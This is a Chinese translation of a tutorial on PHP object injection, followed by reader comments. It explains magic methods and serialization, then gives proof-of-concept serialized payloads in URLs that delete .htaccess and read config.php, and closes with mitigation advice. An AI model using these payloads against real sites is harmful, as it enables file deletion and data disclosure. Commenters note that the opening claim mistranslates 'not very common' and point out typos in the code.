理解php对象注入

路人甲 2015-02-03 12:23:00

0x00 背景


原文:http://securitycafe.ro/2015/01/05/understanding-php-object-injection/

php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。

0x01 漏洞案例


如果你觉得这是个渣渣洞,那么请看一眼这个列表,一些被审计狗挖到过该漏洞的系统,你可以发现都是一些耳熟能详的玩意(就国外来说)

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系统,八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞,所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。

0x01 PHP类和对象


类和变量是非常容易理解的php概念,打个比方,下面的代码在一个类中定义了一个变量和一个方法。

<?php

class TestClass
{
    // 一个变量

    public $variable = 'This is a string';

    // 一个简单的方法

    public function PrintVariable()
    {
        echo $this->variable;
    }
}

// 创建一个对象

$object = new TestClass();

// 调用一个方法

$object->PrintVariable();

?>

它创建了一个对象并且调用了 PrintVariable 函数,该函数会输出变量 variable。

如果想了解更多关于php面向对象编程的知识 请点: http://php.net/manual/zh/language.oop5.php

0x02 php magic方法


php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“__”开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

这些函数在某些情况下会自动调用,比如:

construct 当一个对象创建时调用 (constructor) __destruct 当一个对象被销毁时调用 (destructor) toString当一个对象被当作一个字符串使用

为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中。

<?php

class TestClass
{
    // 一个变量

    public $variable = 'This is a string';

    // 一个简单的方法

    public function PrintVariable()
    {
        echo $this->variable . '<br />';
    }

    // Constructor

    public function __construct()
    {
        echo '__construct <br />';
    }

    // Destructor

    public function __destruct()
    {
        echo '__destruct <br />';
    }

    // Call

    public function __toString()
    {
        return '__toString<br />';
    }
}

// 创建一个对象
//  __construct会被调用

$object = new TestClass();

// 创建一个方法
//  'This is a string’ 这玩意会被输出

$object->PrintVariable();

// 对象被当作一个字符串
//  __toString 会被调用

echo $object;

// End of PHP script
// php脚本要结束了, __destruct会被调用

?>

我们往里头放了三个 magic方法,__construct, __destruct和 __toString,你可以看出来,__construct在对象创建时调用, __destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

这个脚本会输出这狗样:

__construct 
This is a string 
__toString 
__destruct

这只是一个简单的例子,如果你想了解更多有关magic函数的例子,请点击下面的链接:

http://php.net/manual/zh/language.oop5.magic.php

0x03 php对象序列化


php允许保存一个对象方便以后重用,这个过程被称为序列化,打个比方,你可以保存一个包含着用户信息的对象方便等等重用。

为了序列化一个对象,你需要调用 “serialize”函数,函数会返回一个字符串,当你需要用到这个对象的时候可以使用“unserialize”去重建对象。

让我们在序列化丢进那个例子,看看序列化张什么样。

<?php

// 某类

class User
{
    // 类数据

    public $age = 0;
    public $name = '';

    // 输出数据

    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age
             . ' years old. <br />';
    }
}

// 创建一个对象

$usr = new User();

// 设置数据

$usr->age = 20;
$usr->name = 'John';

// 输出数据

$usr->PrintData();

// 输出序列化之后的数据

echo serialize($usr);

?>

它会输出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John;}

你可以看到序列化之后的数据中 有 20和John,其中没有任何跟类有关的东西,只有其中的数据被数据化。

为了使用这个对象,我们用unserialize重建对象。

<?php

// 某类

class User
{
    // Class data

    public $age = 0;
    public $name = '';

    // Print data

    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>

着会输出

User John is 20 years old

0x04 序列化magic函数


magic函数constructor (__construct)和 destructor (__destruct) 是会在对象创建或者销毁时自动调用,其他的一些magic函数会在serialize 或者 unserialize的时候被调用。

__sleep magic方法在一个对象被序列化的时候调用。 __wakeup magic方法在一个对象被反序列化的时候调用。

注意 __sleep 必须返回一个数组与序列化的变量名。

<?php

class Test
{
    public $variable = 'BUZZ';
    public $variable2 = 'OTHER';

    public function PrintVariable()
    {
        echo $this->variable . '<br />';
    }

    public function __construct()
    {
        echo '__construct<br />';
    }

    public function __destruct()
    {
        echo '__destruct<br />';
    }

    public function __wakeup()
    {
        echo '__wakeup<br />';
    }

    public function __sleep()
    {
        echo '__sleep<br />';

        return array('variable', 'variable2');
    }
}

// 创建一个对象,会调用 __construct

$obj = new Test();

// 序列化一个对象,会调用 __sleep

$serialized = serialize($obj);

//输出序列化后的字符串

print 'Serialized: ' . $serialized . <br />';

// 重建对象,会调用 __wakeup

$obj2 = unserialize($serialized);

//调用 PintVariable, 会输出数据 (BUZZ)

$obj2->PrintVariable();

// php脚本结束,会调用 __destruct 

?>

这玩意会输出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。

更多相关的内容

http://php.net/manual/zh/language.oop5.serialization.php

0x05 php对象注入


现在我们理解了序列化是如何工作的,我们该如何利用它?事实上,利用这玩意的可能性有很多种,关键取决于应用程序的流程与,可用的类,与magic函数。

记住序列化对象的值是可控的。

你可能会找到一套web程序的源代码,其中某个类的__wakeup 或者 __destruct and其他乱七八糟的函数会影响到web程序。

打个比方,我们可能会找到一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除。然后代码张这狗样。

<?php 

class LogFile
{
    // log文件名

    public $filename = 'error.log';

    // 某代码,储存日志进文件

    public function LogData($text)
    {
        echo 'Log some data: ' . $text . '<br />';
        file_put_contents($this->filename, $text, FILE_APPEND);
    }

    // Destructor 删除日志文件

    public function __destruct()
    {
        echo '__destruct deletes "' . $this->filename . '" file. <br />';
        unlink(dirname(__FILE__) . '/' . $this->filename);
    }
}

?>

某例子关于如何使用这个类

<?php

include 'logfile.php';

// 创建一个对象

$obj = new LogFile();

// 设置文件名和要储存的日志数据

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// php脚本结束啦,__destruct被调用,somefile.log文件被删除。

?>

在其他的脚本,我们可能又恰好找到一个调用“unserialize”函数的,并且恰好变量是用户可控的,又恰好是$_GET之类的什么玩意的。

<?php

include 'logfile.php';

// ... 一些狗日的代码和 LogFile 类 ...

// 简单的类定义

class User
{
    // 类数据

    public $age = 0;
    public $name = '';

    // 输出数据

    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

// 重建 用户输入的 数据

$usr = unserialize($_GET['usr_serialized']);

?>

你看,这个代码调用了 “LogClass” 类,并且有一个 “unserialize” 值是我们可以注入的。

所以构造类似这样的东西:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John;}

究竟发生了什么呢,因为输入是可控的,所以我们可以构造任意的序列化对象,比如:

<?php

$obj = new LogFile();
$obj->filename = '.htaccess';

echo serialize($obj) . '<br />';

?>

这个会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

现在我们将构造过后的序列化对象发送给刚才的脚本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess;}

这会输出

__destruct deletes ".htaccess" file.

现在 .htaccess 已经被干掉了,因为脚本结束时 __destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。

这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。

虽然这不是一个很好的例子,不过我相信你可以理解这个概念,unserialize自动调用 __wakeup 和 __destruct,接着攻击者可以控制类变量,并且攻击web程序。

0x06 常见的注入点


先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。

打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。

<?php 

// … 一些include ...

class FileClass
{
    // 文件名

    public $filename = 'error.log';

    //当对象被作为一个字符串会读取这个文件

    public function __toString()
    {
        return file_get_contents($this->filename);
    }
}

// Main User class

class User
{
    // Class data

    public $age = 0;
    public $name = '';

    // 允许对象作为一个字符串输出上面的data

    public function __toString()
    {
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

// 用户可控

$obj = unserialize($_GET['usr_serialized']);

// 输出 __toString

echo $obj;

?>

so,我们构造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John;}

再想想,如果我们用序列化调用 FileClass呢

我们创建利用代码

<?php

$fileobj = new FileClass();
$fileobj->filename = 'config.php';

echo serialize($fileobj);

?>

接着用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php;}

接着网页会输出 config.php的源代码

<?php

$private_data = 'MAGIC';

?>

ps:我希望这让你能够理解。

0x07 其他的利用方法


可能其他的一些magic函数海存在利用点:比如__call 会在对象调用不存在的函数时调用,__get 和 __set会在对象尝试访问一些不存在的类,变量等等时调用。

不过需要注意的是,利用场景不限于magic函数,也有一些方式可以在一半的函数中利用这个漏洞,打个比方,一个模块可能定义了一个叫get的函数进行一些敏感的操作,比如访问数据库,这就可能造成sql注入,取决于函数本身的操作。

唯一的一个技术难点在于,注入的类必须在注入点所在的地方,不过一些模块或者脚本会使用“autoload”的功能,具体可以在这里了解

http://php.net/manual/zh/language.oop5.autoload.php

ps:去读那狗屎的代码

0x08 如何利用或者避免这个漏洞


别在任何用户可控的地方使用“unserialize”,可以考虑“json_decode“

0x09 结论


虽然很难找到而且很难利用,但是这真的真的很严重,可以导致各种各样的漏洞。

评论

A

Ano_Tom 2015-02-03 12:53:38

magic函数可翻译为魔术函数

R

retanoj 2015-02-03 13:43:08

// 创建一个方法
// 'This is a string’ 这玩意会被输出
$object->PrintVariable();
建议修改成
// 调用一个方法
// 'This is a string’ 这玩意会被输出
$object->PrintVariable();
楼主翻译比较搞笑。。一些狗日的代码。。。。

0

0x_Jin 2015-02-03 17:02:56

不只是php 是所有没有对querystring做过滤的语言都可以
node.js ruby等也同样存在此类问题

0

0x_Jin 2015-02-03 17:07:12

至于利用看环境来 一般情况下确实难利用。
之前一个例子 没有判断穿过去的参数 然后传过去了一个对象 操作了对方的mongodb数据库 感觉也是大同小异 都是在传参的时候穿过去了一个object

齐迹 2015-02-04 09:28:05

一般情况下都不会在构造和析构函数中干非常敏感的事情。所以利用还是满苛刻的。不过思路非常赞!

路人甲 2015-02-04 10:09:14

现在很少有框架对输入没有做 XSS 和 CRLF的过滤的吧?

路人甲 2015-02-04 10:42:19

这是问题么?

T

Th1nk 2015-02-04 12:41:02

获取po主的翻译力求风趣,但是我的翻译洁癖让我无法忍受。。。错别字跟坑爹解说

封停 2015-02-04 13:16:10

楼主的注释很精彩~

C

cf_hb 2015-02-04 15:49:48

PHP Object Injection is not a very common vulnerability
PHP对象注入并不是一个很常见的漏洞-----by 有道词典

M

Me_Fortune 2015-02-04 16:13:32

哈哈哈哈哈。。。。。我以我三级的英语水平告诉你,有道是对的。。。

D

DBA 2015-02-04 23:16:24

简单说就是code injection

懒懒滴1994 2015-02-04 23:39:58

0x06的文件内容读取貌似是不行的?不知道作者实践过没有?还有就是双引号,,,,

C

cf_hb 2015-02-05 13:27:26

http://coffee.ostrich.cc/?p=10 翻译的好辛苦

刘海哥 2015-02-06 13:02:12

看得晕晕的!

隐形人真忙 2015-02-07 00:35:37

这漏洞也太猥琐了。。。。。

黑吃黑 2015-02-10 14:39:08

翻译的好辛苦

W

winterFire 2015-02-16 21:10:29

为什么这文章能让我边看边笑?笑得肚子疼......不说了,医生说该到我做胃CT了

W

winterFire 2015-02-16 21:11:30

哦对了,应该把PHP Object Injection is not a very common vulnerability这句的not去掉

W

winterFire 2015-02-19 14:27:25

print 'Serialized: ' . $serialized . <br />';这段后面缺个单引号

H

HackBraid 2015-02-21 07:47:12

先赞一个吧

A

agnes0621 2015-04-14 16:36:07

又遇到了一个限制条件,php执行时遇到严重错误而终止脚本后好像不会销毁对象。
也就是说$obj = unserialize($_GET['usr_serialized']);反序列化后,如果拿$obj去做了一些别的事,比如$a=$obj['a'],这样就会报错,于是$obj的析构函数就不会被调用。。。。。。。。。。坑啊

B

BeenQuiver 2015-11-05 19:10:36

6666

路人甲 2016-01-15 14:38:27

@agnes0621 这是一个比较坑的点,求大神指导

B

BeenQuiver 2016-03-13 15:10:57

又看了一遍

路人甲

真正的路人甲.

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